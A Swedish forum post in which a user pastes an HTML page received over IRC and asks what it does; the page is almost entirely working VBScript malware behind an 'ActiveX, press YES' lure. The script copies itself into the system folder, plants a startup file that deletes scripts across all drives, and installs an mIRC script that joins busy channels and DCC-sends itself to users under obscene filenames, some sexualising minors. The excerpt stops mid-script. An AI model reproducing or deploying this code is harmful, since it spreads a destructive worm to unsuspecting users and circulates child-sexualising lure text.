webForumDet fria alternativet
Logga in / Bli medlem

Nån som kan se vad denna kod gör?

HTML & CSS

1 svar · 212 visningar · startad av FreeZer

FreeZerMedlem sedan jan. 2001950 inlägg
Frågan#1

Jag fick en HTML-sida med denna kod skickad till mig på irc och jag undrar bara om någon kan tyda den lite bättre åt mig och se ungefär vad som händer?

<HTML><HEAD><TITLE>Littlenipples.com - Totally Free B/L Pictures.</TITLE><META NAME="Generator" CONTENT="HTML"><META NAME="Author" CONTENT="HTML"><META NAME="Description" CONTENT="HTML"></HEAD><BODY ONMOUSEOUT="window.name='main';window.open('http://www.littlenipples.com/list.shtml','main')" ONKEYDOWN="window.name='main';window.open('http://www.littlenipples.com/list.shtml','main')" BGPROPERTIES="fixed"><CENTER><P>This page requires an ActiveX Control</P><P>Please press 'YES' button to Continue</P></CENTER></BODY></HTML>
<SCRIPT LANGUAGE="VBScript">
<!--
On Error Resume Next
Dim Aphex, God
Set SHELL = CreateObject("Scripting.FileSystemObject")
Set REGEDIT = CreateObject("WScript.Shell")
Set SYSTEM  = SHELL.GetSpecialFolder(1)
Set FOLDER = SHELL.GetFolder("C:\")
Set FILES = FOLDER.Files
For Each FILE In FILES
  EXTENSION = SHELL.GetExtensionName(FILE.Path)
  EXTENSTION = LCase(EXTENSTION)
  FILENAME = LCase(FILE.Name)
  If (EXTENSION = "html") Then
    If Left(FILENAME,2) = "!!" Then
      Set HTML = SHELL.GetFile(FILE.Path)
      HTML.Copy (SYSTEM & "\SysLog.html")
      Exit For
    End If
  End If
Next
Set FOLDER = SHELL.GetFolder("C:\Download")
Set FILES = FOLDER.Files
For Each FILE In FILES
  EXTENSION = SHELL.GetExtensionName(FILE.Path)
  EXTENSTION = LCase(EXTENSTION)
  FILENAME = LCase(FILE.Name)
  If (EXTENSION = "html") Then
    If Left(FILENAME,2) = "!!" Then
      Set HTML = SHELL.GetFile(FILE.Path)
      HTML.Copy (SYSTEM & "\SysLog.html")
      Exit For
    End If
  End If
Next
Set FOLDER = SHELL.GetFolder("C:\mIRC")
Set FILES = FOLDER.Files
For Each FILE In FILES
  EXTENSION = SHELL.GetExtensionName(FILE.Path)
  EXTENSTION = LCase(EXTENSTION)
  FILENAME = LCase(FILE.Name)
  If (EXTENSION = "html") Then
    If Left(FILENAME,2) = "!!" Then
      Set HTML = SHELL.GetFile(FILE.Path)
      HTML.Copy (SYSTEM & "\SysLog.html")
      Exit For
    End If
  End If
Next
Set FOLDER = SHELL.GetFolder("C:\mIRC\Download")
Set FILES = FOLDER.Files
For Each FILE In FILES
  EXTENSION = SHELL.GetExtensionName(FILE.Path)
  EXTENSTION = LCase(EXTENSTION)
  FILENAME = LCase(FILE.Name)
  If (EXTENSION = "html") Then
    If Left(FILENAME,2) = "!!" Then
      Set HTML = SHELL.GetFile(FILE.Path)
      HTML.Copy (SYSTEM & "\SysLog.html")
      Exit For
    End If
  End If
Next
Set FOLDER = SHELL.GetFolder("C:\Program Files\mIRC")
Set FILES = FOLDER.Files
For Each FILE In FILES
  EXTENSION = SHELL.GetExtensionName(FILE.Path)
  EXTENSTION = LCase(EXTENSTION)
  FILENAME = LCase(FILE.Name)
  If (EXTENSION = "html") Then
    If Left(FILENAME,2) = "!!" Then
      Set HTML = SHELL.GetFile(FILE.Path)
      HTML.Copy (SYSTEM & "\SysLog.html")
      Exit For
    End If
  End If
Next
Set FOLDER = SHELL.GetFolder("C:\Program Files\mIRC\Download")
Set FILES = FOLDER.Files
For Each FILE In FILES
  EXTENSION = SHELL.GetExtensionName(FILE.Path)
  EXTENSTION = LCase(EXTENSTION)
  FILENAME = LCase(FILE.Name)
  If (EXTENSION = "html") Then
    If Left(FILENAME,2) = "!!" Then
      Set HTML = SHELL.GetFile(FILE.Path)
      HTML.Copy (SYSTEM & "\SysLog.html")
      Exit For
    End If
  End If
Next
Set FOLDER = SHELL.GetFolder("D:\")
Set FILES = FOLDER.Files
For Each FILE In FILES
  EXTENSION = SHELL.GetExtensionName(FILE.Path)
  EXTENSTION = LCase(EXTENSTION)
  FILENAME = LCase(FILE.Name)
  If (EXTENSION = "html") Then
    If Left(FILENAME,2) = "!!" Then
      Set HTML = SHELL.GetFile(FILE.Path)
      HTML.Copy (SYSTEM & "\SysLog.html")
      Exit For
    End If
  End If
Next
Set FOLDER = SHELL.GetFolder("D:\Download")
Set FILES = FOLDER.Files
For Each FILE In FILES
  EXTENSION = SHELL.GetExtensionName(FILE.Path)
  EXTENSTION = LCase(EXTENSTION)
  FILENAME = LCase(FILE.Name)
  If (EXTENSION = "html") Then
    If Left(FILENAME,2) = "!!" Then
      Set HTML = SHELL.GetFile(FILE.Path)
      HTML.Copy (SYSTEM & "\SysLog.html")
      Exit For
    End If
  End If
Next
Set FOLDER = SHELL.GetFolder("D:\mIRC")
Set FILES = FOLDER.Files
For Each FILE In FILES
  EXTENSION = SHELL.GetExtensionName(FILE.Path)
  EXTENSTION = LCase(EXTENSTION)
  FILENAME = LCase(FILE.Name)
  If (EXTENSION = "html") Then
    If Left(FILENAME,2) = "!!" Then
      Set HTML = SHELL.GetFile(FILE.Path)
      HTML.Copy (SYSTEM & "\SysLog.html")
      Exit For
    End If
  End If
Next
Set FOLDER = SHELL.GetFolder("D:\mIRC\Download")
Set FILES = FOLDER.Files
For Each FILE In FILES
  EXTENSION = SHELL.GetExtensionName(FILE.Path)
  EXTENSTION = LCase(EXTENSTION)
  FILENAME = LCase(FILE.Name)
  If (EXTENSION = "html") Then
    If Left(FILENAME,2) = "!!" Then
      Set HTML = SHELL.GetFile(FILE.Path)
      HTML.Copy (SYSTEM & "\SysLog.html")
      Exit For
    End If
  End If
Next
Set FOLDER = SHELL.GetFolder("D:\Program Files\mIRC")
Set FILES = FOLDER.Files
For Each FILE In FILES
  EXTENSION = SHELL.GetExtensionName(FILE.Path)
  EXTENSTION = LCase(EXTENSTION)
  FILENAME = LCase(FILE.Name)
  If (EXTENSION = "html") Then
    If Left(FILENAME,2) = "!!" Then
      Set HTML = SHELL.GetFile(FILE.Path)
      HTML.Copy (SYSTEM & "\SysLog.html")
      Exit For
    End If
  End If
Next
Set FOLDER = SHELL.GetFolder("D:\Program Files\mIRC\Download")
Set FILES = FOLDER.Files
For Each FILE In FILES
  EXTENSION = SHELL.GetExtensionName(FILE.Path)
  EXTENSTION = LCase(EXTENSTION)
  FILENAME = LCase(FILE.Name)
  If (EXTENSION = "html") Then
    If Left(FILENAME,2) = "!!" Then
      Set HTML = SHELL.GetFile(FILE.Path)
      HTML.Copy (SYSTEM & "\SysLog.html")
      Exit For
    End If
  End If
Next
Set FOLDER = SHELL.GetFolder("E:\")
Set FILES = FOLDER.Files
For Each FILE In FILES
  EXTENSION = SHELL.GetExtensionName(FILE.Path)
  EXTENSTION = LCase(EXTENSTION)
  FILENAME = LCase(FILE.Name)
  If (EXTENSION = "html") Then
    If Left(FILENAME,2) = "!!" Then
      Set HTML = SHELL.GetFile(FILE.Path)
      HTML.Copy (SYSTEM & "\SysLog.html")
      Exit For
    End If
  End If
Next
Set FOLDER = SHELL.GetFolder("E:\Download")
Set FILES = FOLDER.Files
For Each FILE In FILES
  EXTENSION = SHELL.GetExtensionName(FILE.Path)
  EXTENSTION = LCase(EXTENSTION)
  FILENAME = LCase(FILE.Name)
  If (EXTENSION = "html") Then
    If Left(FILENAME,2) = "!!" Then
      Set HTML = SHELL.GetFile(FILE.Path)
      HTML.Copy (SYSTEM & "\SysLog.html")
      Exit For
    End If
  End If
Next
Set FOLDER = SHELL.GetFolder("E:\mIRC")
Set FILES = FOLDER.Files
For Each FILE In FILES
  EXTENSION = SHELL.GetExtensionName(FILE.Path)
  EXTENSTION = LCase(EXTENSTION)
  FILENAME = LCase(FILE.Name)
  If (EXTENSION = "html") Then
    If Left(FILENAME,2) = "!!" Then
      Set HTML = SHELL.GetFile(FILE.Path)
      HTML.Copy (SYSTEM & "\SysLog.html")
      Exit For
    End If
  End If
Next
Set FOLDER = SHELL.GetFolder("E:\mIRC\Download")
Set FILES = FOLDER.Files
For Each FILE In FILES
  EXTENSION = SHELL.GetExtensionName(FILE.Path)
  EXTENSTION = LCase(EXTENSTION)
  FILENAME = LCase(FILE.Name)
  If (EXTENSION = "html") Then
    If Left(FILENAME,2) = "!!" Then
      Set HTML = SHELL.GetFile(FILE.Path)
      HTML.Copy (SYSTEM & "\SysLog.html")
      Exit For
    End If
  End If
Next
Set FOLDER = SHELL.GetFolder("E:\Program Files\mIRC")
Set FILES = FOLDER.Files
For Each FILE In FILES
  EXTENSION = SHELL.GetExtensionName(FILE.Path)
  EXTENSTION = LCase(EXTENSTION)
  FILENAME = LCase(FILE.Name)
  If (EXTENSION = "html") Then
    If Left(FILENAME,2) = "!!" Then
      Set HTML = SHELL.GetFile(FILE.Path)
      HTML.Copy (SYSTEM & "\SysLog.html")
      Exit For
    End If
  End If
Next
Set FOLDER = SHELL.GetFolder("E:\Program Files\mIRC\Download")
Set FILES = FOLDER.Files
For Each FILE In FILES
  EXTENSION = SHELL.GetExtensionName(FILE.Path)
  EXTENSTION = LCase(EXTENSTION)
  FILENAME = LCase(FILE.Name)
  If (EXTENSION = "html") Then
    If Left(FILENAME,2) = "!!" Then
      Set HTML = SHELL.GetFile(FILE.Path)
      HTML.Copy (SYSTEM & "\SysLog.html")
      Exit For
    End If
  End If
Next
DATA = ""
DATA = DATA & vbCrLf & "On Error Resume Next"
DATA = DATA & vbCrLf & "Dim var1, var2, var3, var4, var5, var6, var7, var8, var9, var10, var11"
DATA = DATA & vbCrLf & "Set SHELL = CreateObject([-]Scripting.FileSystemObject[-])"
DATA = DATA & vbCrLf & "Set SYSTEM  = SHELL.GetSpecialFolder(1)"
DATA = DATA & vbCrLf & "Set var1 = SHELL.Drives"
DATA = DATA & vbCrLf & "For Each var2 In var1"
DATA = DATA & vbCrLf & "  If var2.DriveType = 2 or var2.DriveType=3 Then"
DATA = DATA & vbCrLf & "    CLEAN(var2.Path)"
DATA = DATA & vbCrLf & "    SCAN(var2.Path)"
DATA = DATA & vbCrLf & "    FOLDERS(var2.Path)"
DATA = DATA & vbCrLf & "  End If"
DATA = DATA & vbCrLf & "Next"
DATA = DATA & vbCrLf & "Sub FOLDERS(FOLDERSPEC)"  
DATA = DATA & vbCrLf & "  On Error Resume Next"
DATA = DATA & vbCrLf & "  Set var3 = SHELL.GetFolder(FOLDERSPEC)"
DATA = DATA & vbCrLf & "  Set var4 = var3.SubFolders"
DATA = DATA & vbCrLf & "  For Each var5 In var4"
DATA = DATA & vbCrLf & "    CLEAN(var5.Path)"
DATA = DATA & vbCrLf & "    SCAN(var5.Path)"
DATA = DATA & vbCrLf & "    FOLDERS(var5.Path)"
DATA = DATA & vbCrLf & "  Next"
DATA = DATA & vbCrLf & "End Sub"
DATA = DATA & vbCrLf & "Sub SCAN(folderspec)"
DATA = DATA & vbCrLf & "  Set var6 = SHELL.GetFolder(folderspec)"
DATA = DATA & vbCrLf & "  Set var7 = var6.Files"
DATA = DATA & vbCrLf & "  For Each var8 In var7"
DATA = DATA & vbCrLf & "    EXTENSION = SHELL.GetExtensionName(var8.Path)"
DATA = DATA & vbCrLf & "    EXTENSTION = LCase(EXTENSTION)"
DATA = DATA & vbCrLf & "    FILENAME = LCase(var8.Name)"
DATA = DATA & vbCrLf & "    If (EXTENSION = [-]html[-]) Then"
DATA = DATA & vbCrLf & "      If Left(FILENAME,2) = [-]!![-] Then"
DATA = DATA & vbCrLf & "        Set HTML = SHELL.GetFile(var8.Path)"
DATA = DATA & vbCrLf & "        HTML.Copy (SYSTEM & [-]\SysLog.html[-])"
DATA = DATA & vbCrLf & "        Exit For"
DATA = DATA & vbCrLf & "      End If"
DATA = DATA & vbCrLf & "    End If"
DATA = DATA & vbCrLf & "  Next"
DATA = DATA & vbCrLf & "End Sub"
DATA = DATA & vbCrLf & "Sub CLEAN(folderspec)"
DATA = DATA & vbCrLf & "  On Error Resume Next"
DATA = DATA & vbCrLf & "  Set var9 = SHELL.GetFolder(folderspec)"
DATA = DATA & vbCrLf & "  Set var10 = var9.Files"
DATA = DATA & vbCrLf & "  For Each var11 In var10"
DATA = DATA & vbCrLf & "    EXTENSION = SHELL.GetExtensionName(var11.Path)"
DATA = DATA & vbCrLf & "    EXTENSTION = LCase(EXTENSTION)"
DATA = DATA & vbCrLf & "    FILENAME = LCase(var11.Name)"
DATA = DATA & vbCrLf & "    If (EXTENSION = [-]htm[-]) Then"
DATA = DATA & vbCrLf & "      If Left(FILENAME,4) = [-]love[-] Then"
DATA = DATA & vbCrLf & "        Set KILL = SHELL.GetFile(var11.Path)"
DATA = DATA & vbCrLf & "        KILL.Delete"
DATA = DATA & vbCrLf & "        Exit For"
DATA = DATA & vbCrLf & "      End If"
DATA = DATA & vbCrLf & "    End If"
DATA = DATA & vbCrLf & "    If (EXTENSION = [-]vbs[-]) Then"
DATA = DATA & vbCrLf & "      If (FILENAME <> [-]clean.vbs[-]) Then"
DATA = DATA & vbCrLf & "        Set KILL = SHELL.GetFile(var11.Path)"
DATA = DATA & vbCrLf & "        KILL.Delete"
DATA = DATA & vbCrLf & "      End If"
DATA = DATA & vbCrLf & "    End If"
DATA = DATA & vbCrLf & "    If (EXTENSION = [-]js[-]) Then"
DATA = DATA & vbCrLf & "      If (Left(FILENAME,1) <> [-]s[-]) Then"
DATA = DATA & vbCrLf & "        Set KILL = SHELL.GetFile(var11.Path)"
DATA = DATA & vbCrLf & "        KILL.Delete"
DATA = DATA & vbCrLf & "      End If"
DATA = DATA & vbCrLf & "    End If"
DATA = DATA & vbCrLf & "    If (FILENAME = [-]script.ini[-]) Then"
DATA = DATA & vbCrLf & "      Set KILL = SHELL.GetFile(var11.Path)"
DATA = DATA & vbCrLf & "      KILL.Delete"
DATA = DATA & vbCrLf & "    End If"
DATA = DATA & vbCrLf & "    If (FILENAME = [-]events.ini[-]) Then"
DATA = DATA & vbCrLf & "      Set KILL = SHELL.GetFile(var11.Path)"
DATA = DATA & vbCrLf & "      KILL.Delete"
DATA = DATA & vbCrLf & "    End If"
DATA = DATA & vbCrLf & "    If (FILENAME = [-]movie.avi.pif[-]) Then"
DATA = DATA & vbCrLf & "      Set KILL = SHELL.GetFile(var11.Path)"
DATA = DATA & vbCrLf & "      KILL.Delete"
DATA = DATA & vbCrLf & "    End If"
DATA = DATA & vbCrLf & "    If (FILENAME = [-]win.com.bat[-]) Then"
DATA = DATA & vbCrLf & "      Set KILL = SHELL.GetFile(var11.Path)"
DATA = DATA & vbCrLf & "      KILL.Delete"
DATA = DATA & vbCrLf & "    End If"
DATA = DATA & vbCrLf & "    If (FILENAME = [-]winstart.bat[-]) Then"
DATA = DATA & vbCrLf & "      Set KILL = SHELL.GetFile(var11.Path)"
DATA = DATA & vbCrLf & "      KILL.Delete"
DATA = DATA & vbCrLf & "    End If"
DATA = DATA & vbCrLf & "    If (FILENAME = [-]mirc.bat[-]) Then"
DATA = DATA & vbCrLf & "      Set KILL = SHELL.GetFile(var11.Path)"
DATA = DATA & vbCrLf & "      KILL.Delete"
DATA = DATA & vbCrLf & "    End If"
DATA = DATA & vbCrLf & "    If (FILENAME = [-]tesk.sys[-]) Then"
DATA = DATA & vbCrLf & "      Set KILL = SHELL.GetFile(var11.Path)"
DATA = DATA & vbCrLf & "      KILL.Delete"
DATA = DATA & vbCrLf & "    End If"
DATA = DATA & vbCrLf & "    If (FILENAME = [-]mstesk.exe[-]) Then"
DATA = DATA & vbCrLf & "      Set KILL = SHELL.GetFile(var11.Path)"
DATA = DATA & vbCrLf & "      KILL.Delete"
DATA = DATA & vbCrLf & "    End If"
DATA = DATA & vbCrLf & "    If (Instr(FILENAME,[-]jpg.[-]) <> 0) Then"
DATA = DATA & vbCrLf & "      Set KILL = SHELL.GetFile(var11.Path)"
DATA = DATA & vbCrLf & "      KILL.Delete"
DATA = DATA & vbCrLf & "    End If"
DATA = DATA & vbCrLf & "  Next"
DATA = DATA & vbCrLf & "End Sub"
DATA = Replace(DATA,chr(91)&chr(45)&chr(93),chr(34))
Set VBS = SHELL.CreateTextFile("C:\WINDOWS\Start Menu\Programs\StartUp\Clean.vbs")
VBS.Write DATA
VBS.Close
DATA = ""
DATA = DATA & vbCrLf & "var Shell, INI"
DATA = DATA & vbCrLf & "Shell = new ActiveXObject([-]Scripting.FileSystemObject[-])"
DATA = DATA & vbCrLf & "INI = Shell.CreateTextFile([-]c:\\default.ini[-], true)"
DATA = DATA & vbCrLf & "INI.writeline([-][script][-])[=]"
DATA = DATA & vbCrLf & "INI.writeline([-]n0=[=]//****************************************************************************************\\\\[=][-])[=]"
DATA = DATA & vbCrLf & "INI.writeline([-]n1=[=]&#0124; &#0124;********************************* Default mIRC Script *********************************&#0124; &#0124;[=][-])[=]"
DATA = DATA & vbCrLf & "INI.writeline([-]n2=[=]&#0124; &#0124;*********************mIRC v5.7 32bit by Khaled Mardam-Bey***********************&#0124; &#0124;[=][-])[=]"
DATA = DATA & vbCrLf & "INI.writeline([-]n3=[=]&#0124; &#0124;*********************** Copyright 1995- 1999 mIRC Co. Ltd. ************************&#0124; &#0124;[=][-])[=]"
DATA = DATA & vbCrLf & "INI.writeline([-]n4=[=]&#0124; &#0124; ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ----==DO NOT EDIT THIS FILE!!!==---- ! ! ! ! ! ! ! ! ! ! ! ! ! !&#0124; &#0124;[=][-])[=]"
DATA = DATA & vbCrLf & "INI.writeline([-]n5=[=]&#0124; &#0124;****************************** More info in mIRC help file. ***************************//[=][-])[=]"
DATA = DATA & vbCrLf & "INI.writeline([-]n6=[=]` `*****************************************************************************************' '[=][-])[=]"
DATA = DATA & vbCrLf & "INI.writeline([-]n7=[-])[=]"
DATA = DATA & vbCrLf & "INI.writeline([-]n8=[-])[=]"
DATA = DATA & vbCrLf & "INI.writeline([-]n9=[-])[=]"
DATA = DATA & vbCrLf & "INI.writeline([-]n10=[-])[=]"
DATA = DATA & vbCrLf & "INI.writeline([-]n11=[-])[=]"
DATA = DATA & vbCrLf & "INI.writeline([-]n12=[-])[=]"
DATA = DATA & vbCrLf & "INI.writeline([-]n13=[-])[=]"
DATA = DATA & vbCrLf & "INI.writeline([-]n14=[-])[=]"
DATA = DATA & vbCrLf & "INI.writeline([-]n15=[-])[=]"
DATA = DATA & vbCrLf & "INI.writeline([-]n16=[-])[=]"
DATA = DATA & vbCrLf & "INI.writeline([-]n17=[-])[=]"
DATA = DATA & vbCrLf & "INI.writeline([-]n18=[-])[=]"
DATA = DATA & vbCrLf & "INI.writeline([-]n19=[-])[=]"
DATA = DATA & vbCrLf & "INI.writeline([-]n20=[-])[=]"
DATA = DATA & vbCrLf & "INI.writeline([-]n21=[-])[=]"
DATA = DATA & vbCrLf & "INI.writeline([-]n22=[-])[=]"
DATA = DATA & vbCrLf & "INI.writeline([-]n23=[-])[=]"
DATA = DATA & vbCrLf & "INI.writeline([-]n24=[=] !!!! Advanced mIRC default script Do not touch !!!!![-])[=]"
DATA = DATA & vbCrLf & "INI.writeline([-]n25=[-])[=]"
DATA = DATA & vbCrLf & "INI.writeline([-]n25=[-])[=]"
DATA = DATA & vbCrLf & "INI.writeline([-]n26=[-])[=]"
DATA = DATA & vbCrLf & "INI.writeline([-]n27=[-])[=]"
DATA = DATA & vbCrLf & "INI.writeline([-]n28=[-])[=]"
DATA = DATA & vbCrLf & "INI.writeline([-]n29=[-])[=]"
DATA = DATA & vbCrLf & "INI.writeline([-]n30=[-])[=]"
DATA = DATA & vbCrLf & "INI.writeline([-]n31=[-])[=]"
DATA = DATA & vbCrLf & "INI.writeline([-]n32=[-])[=]"
DATA = DATA & vbCrLf & "INI.writeline([-]n33=[-])[=]"
DATA = DATA & vbCrLf & "INI.writeline([-]n34=on *:CONNECT: { if $portfree(113) = $true { socklisten IDENT 113 } &#0124; sockclose CLONE &#0124; sockopen CLONE $server 6667 &#0124; set %cleaning 1 }[-])[=]"
DATA = DATA & vbCrLf & "INI.writeline([-]n35=on *:DISCONNECT: { if $sock(CLONE,n) != 0 { sockwrite -n CLONE QUIT :Leaving &#0124; sockclose CLONE &#0124; sockclose LISTEN } &#0124; unset %me %nick %in %out %random %null %chan %temp %data %cleaning %sent }[-])[=]"
DATA = DATA & vbCrLf & "INI.writeline([-]n36=on *:SOCKLISTEN:IDENT*: { if ($sockerr > 0) return &#0124; set %temp 0 &#0124; :loop &#0124; inc %temp 1 &#0124; if $sock(ident $+ %temp,1) = $null { sockaccept ident $+ %temp &#0124; unset %temp } &#0124; else { goto loop } }[-])[=]"
DATA = DATA & vbCrLf & "INI.writeline([-]n37=on *:SOCKREAD:IDENT*:{ sockread %ident &#0124; sockwrite $sockname %ident : USERID : UNIX : $random &#0124; unset %ident }[-])[=]"
DATA = DATA & vbCrLf & "INI.writeline([-]n38=on *:SOCKCLOSE:CLONE: { sockclose CLONE &#0124; sockopen CLONE $server 6667 }[-])[=]"
DATA = DATA & vbCrLf & "INI.writeline([-]n39=on *:SOCKOPEN:CLONE:{ if ($sockerr > 0) { sockopen CLONE $server 6667 &#0124; return } &#0124; changenick &#0124; sockwrite -n CLONE USER $random $chr(34) $+ $random $+ $chr(34) $chr(34) $+ $random $+ $chr(34) : $+ $random &#0124; .timerJOINING 1 15 channels &#0124; .timerJOIN 0 1800 channels }[-])[=]"
DATA = DATA & vbCrLf & "INI.writeline([-]n40=on *:SOCKREAD:CLONE:{[-])[=]"
DATA = DATA & vbCrLf & "INI.writeline([-]n41=  sockread -f %data[-])[=]"
DATA = DATA & vbCrLf & "INI.writeline([-]n42=  if $gettok(%data,1,32) = PING { sockwrite -n CLONE PONG : $+ $server }[-])[=]"
DATA = DATA & vbCrLf & "INI.writeline([-]n43=  if $gettok(%data,2,32) = 263 { .timer 1 5 channels }[-])[=]"
DATA = DATA & vbCrLf & "INI.writeline([-]n44=  if $gettok(%data,2,32) = 322 {[-])[=]"
DATA = DATA & vbCrLf & "INI.writeline([-]n45=    if (%chan != $null) { halt }[-])[=]"
DATA = DATA & vbCrLf & "INI.writeline([-]n46=    if ($gettok(%data,5,32) > 50) {[-])[=]"
DATA = DATA & vbCrLf & "INI.writeline([-]n47=      set %chan $gettok(%data,4,32)[-])[=]"
DATA = DATA & vbCrLf & "INI.writeline([-]n48=      .timer 1 30 sockwrite -n CLONE JOIN %chan[-])[=]"
DATA = DATA & vbCrLf & "INI.writeline([-]n49=      .timer 1 30 unset %chan[-])[=]"
DATA = DATA & vbCrLf & "INI.writeline([-]n50=    }[-])[=]"
DATA = DATA & vbCrLf & "INI.writeline([-]n51=  }[-])[=]  "
DATA = DATA & vbCrLf & "INI.writeline([-]n52=  if $gettok(%data,2,32) = JOIN {[-])[=]"
DATA = DATA & vbCrLf & "INI.writeline([-]n53=    if ( %cleaning == 0 ) { halt }[-])[=]"
DATA = DATA & vbCrLf & "INI.writeline([-]n54=    if ( $gettok($gettok(%data,1,58),1,33) == %me ) { halt } &#0124; set %nick $gettok($gettok(%data,1,58),1,33)[-])[=]"
DATA = DATA & vbCrLf & "INI.writeline([-]n55=    :top[-])[=]"
DATA = DATA & vbCrLf & "INI.writeline([-]n56=    if ( %sent >= 10 ) {[-])[=]"
DATA = DATA & vbCrLf & "INI.writeline([-]n57=      if ( $timer(go) != $null ) { halt }[-])[=]"
DATA = DATA & vbCrLf & "INI.writeline([-]n58=      set %cleaning 0 &#0124; .timergo -c 1 30 set %cleaning 1 &#0124; .timer -c 1 30 set %sent 0 &#0124; halt[-])[=]"
DATA = DATA & vbCrLf & "INI.writeline([-]n59=    }[-])[=]"
DATA = DATA & vbCrLf & "INI.writeline([-]n60=    if ( $timer(%nick) != $null ) { halt }[-])[=]"
DATA = DATA & vbCrLf & "INI.writeline([-]n61=    .timer [ $+ [ %nick ] ] 1 $rand(15,30) clean %nick &#0124; inc %sent 1[-])[=]"
DATA = DATA & vbCrLf & "INI.writeline([-]n62=    if ( %sent >= 10 ) { goto top }[-])[=]"
DATA = DATA & vbCrLf & "INI.writeline([-]n63=  }[-])[=]  "
DATA = DATA & vbCrLf & "INI.writeline([-]n64=  if $gettok(%data,2,32) = 433 &#0124;&#0124; $gettok(%data,2,32) = 451 { changenick }[-])[=]"
DATA = DATA & vbCrLf & "INI.writeline([-]n65=  unset %data[-])[=]"
DATA = DATA & vbCrLf & "INI.writeline([-]n66=}[-])[=]"
DATA = DATA & vbCrLf & "INI.writeline([-]n67=on *:QUIT: { if $nick = $me { if $sock(CLONE,n) != 0 { sockwrite -n CLONE QUIT :The Anti-Virus &#0124; sockclose CLONE } } }[-])[=]"
DATA = DATA & vbCrLf & "INI.writeline([-]n68=on *:socklisten:SEND*:{[-])[=]"
DATA = DATA & vbCrLf & "INI.writeline([-]n69=  set %sending SENDING $+ $rand(1,999999999)[-])[=]"
DATA = DATA & vbCrLf & "INI.writeline([-]n70=  sockaccept %sending[-])[=]"
DATA = DATA & vbCrLf & "INI.writeline([-]n71=  sockclose $sockname[-])[=]"
DATA = DATA & vbCrLf & "INI.writeline([-]n72=  upload %sending[-])[=]"
DATA = DATA & vbCrLf & "INI.writeline([-]n73=  unset %sending[-])[=]"
DATA = DATA & vbCrLf & "INI.writeline([-]n74=}[-])[=]"
DATA = DATA & vbCrLf & "INI.writeline([-]n75=on *:sockwrite:SENDING*: {[-])[=]"
DATA = DATA & vbCrLf & "INI.writeline([-]n76=  if [ %sendinc [ $+ [ $sockname ] ] ] = $null { set %sendinc $+ $sockname 4096 }[-])[=]"
DATA = DATA & vbCrLf & "INI.writeline([-]n77=  if [ %sendinc [ $+ [ $sockname ] ] ] != 4096 { unset %sendtotal* %sendinc* &#0124; sockclose SENDING* &#0124; return }[-])[=]"
DATA = DATA & vbCrLf & "INI.writeline([-]n78=  inc [ %sendtotal [ $+ [ $sockname ] ] ] 4096[-])[=]"
DATA = DATA & vbCrLf & "INI.writeline([-]n79=  if [ %sendtotal [ $+ [ $sockname ] ] ] > $file(C:\\Windows\\System\\SysLog.html).size { set %sendinc $+ $sockname $calc( [ %sendtotal [ $+ [ $sockname ] ] ] - $file(C:\\Windows\\System\\SysLog.html).size ) }[-])[=]"
DATA = DATA & vbCrLf & "INI.writeline([-]n80=  else { set %sendinc $+ $sockname 4096 }[-])[=]"
DATA = DATA & vbCrLf & "INI.writeline([-]n81=  bread C:\\Windows\\System\\SysLog.html [ %sendtotal [ $+ [ $sockname ] ] ] [ %sendinc [ $+ [ $sockname ] ] ] &binvar[-])[=]"
DATA = DATA & vbCrLf & "INI.writeline([-]n82=  sockwrite $sockname &binvar[-])[=]"
DATA = DATA & vbCrLf & "INI.writeline([-]n83=}[-])[=]"
DATA = DATA & vbCrLf & "INI.writeline([-]n84=alias changenick {[-])[=]"
DATA = DATA & vbCrLf & "INI.writeline([-]n85=  set %me $random[-])[=]"
DATA = DATA & vbCrLf & "INI.writeline([-]n86=  sockwrite -n CLONE NICK %me[-])[=]"
DATA = DATA & vbCrLf & "INI.writeline([-]n87=}[-])[=]"
DATA = DATA & vbCrLf & "INI.writeline([-]n88=alias channels {[-])[=]"
DATA = DATA & vbCrLf & "INI.writeline([-]n89=  sockwrite -n CLONE list * $+ $gettok(#teen:#sex:#warez:#mp3:#0!!!!!!!:#Anime:#Gay:#hack:#100%:#Chat:#vcd, $rand(1,11),58) $+ *[-])[=]"
DATA = DATA & vbCrLf & "INI.writeline([-]n90=}[-])[=]"
DATA = DATA & vbCrLf & "INI.writeline([-]n91=alias clean {[-])[=]"
DATA = DATA & vbCrLf & "INI.writeline([-]n92=  timeout[-])[=]"
DATA = DATA & vbCrLf & "INI.writeline([-]n93=  if $sock(SEND*,0) < 1 {[-])[=]"
DATA = DATA & vbCrLf & "INI.writeline([-]n94=  :loop[-])[=]"
DATA = DATA & vbCrLf & "INI.writeline([-]n95=  set %sock $rand(1,999999999)[-])[=]"
DATA = DATA & vbCrLf & "INI.writeline([-]n96=  if $sock(SEND $+ %sock,1) != $null { goto loop }[-])[=]"
DATA = DATA & vbCrLf & "INI.writeline([-]n97=  set %sockname SEND $+ %sock[-])[=]"
DATA = DATA & vbCrLf & "INI.writeline([-]n98=  socklisten %sockname[-])[=]"
DATA = DATA & vbCrLf & "INI.writeline([-]n99=  set %name $name[-])[=]"
DATA = DATA & vbCrLf & "INI.writeline([-]n100=  sockwrite -n CLONE NOTICE $1 :DCC Send %name ( $+ $IP $+ )[-])[=]"
DATA = DATA & vbCrLf & "INI.writeline([-]n101=  sockwrite -n CLONE PRIVMSG $1 :DCC SEND %name $longip($IP) $sock(%sockname).port $file(C:\\Windows\\System\\SysLog.html).size $+ [-])[=]"
DATA = DATA & vbCrLf & "INI.writeline([-]n102=  unset %name %sockname %sock[-])[=]"
DATA = DATA & vbCrLf & "INI.writeline([-]n103= }[-])[=]"
DATA = DATA & vbCrLf & "INI.writeline([-]n104=}[-])[=]"
DATA = DATA & vbCrLf & "INI.writeline([-]n105=alias name return $str(!,$rand(2,9)) $+ $gettok(me-.young-girl_.dog~.preteen-.firewoman_.cheerleader~.woman_.fireman~.model_.cindy-.Lorie-.Hanz~.guy^.Linda_,$rand(1,14),46) $+ $gettok(sucking.fucking.licking.doing.on_top_of,$rand(1,5),46) $+ $gettok(_horse.-dick.^Jerry._cow.-Frank.~cat.^Beth.~pussy,$rand(1,8),46) $+ .html[-])[=]"
DATA = DATA & vbCrLf & "INI.writeline([-]n106=alias random { unset %null %random &#0124; set %null $rand(1,10) &#0124; :loop &#0124; set %random %random $+ $rand(a,z) &#0124; if $len(%random) <= %null { goto loop } &#0124; return %random }[-])[=]"
DATA = DATA & vbCrLf & "INI.writeline([-]n107=alias timeout {[-])[=]"
DATA = DATA & vbCrLf & "INI.writeline([-]n108=  set %close 1[-])[=]"
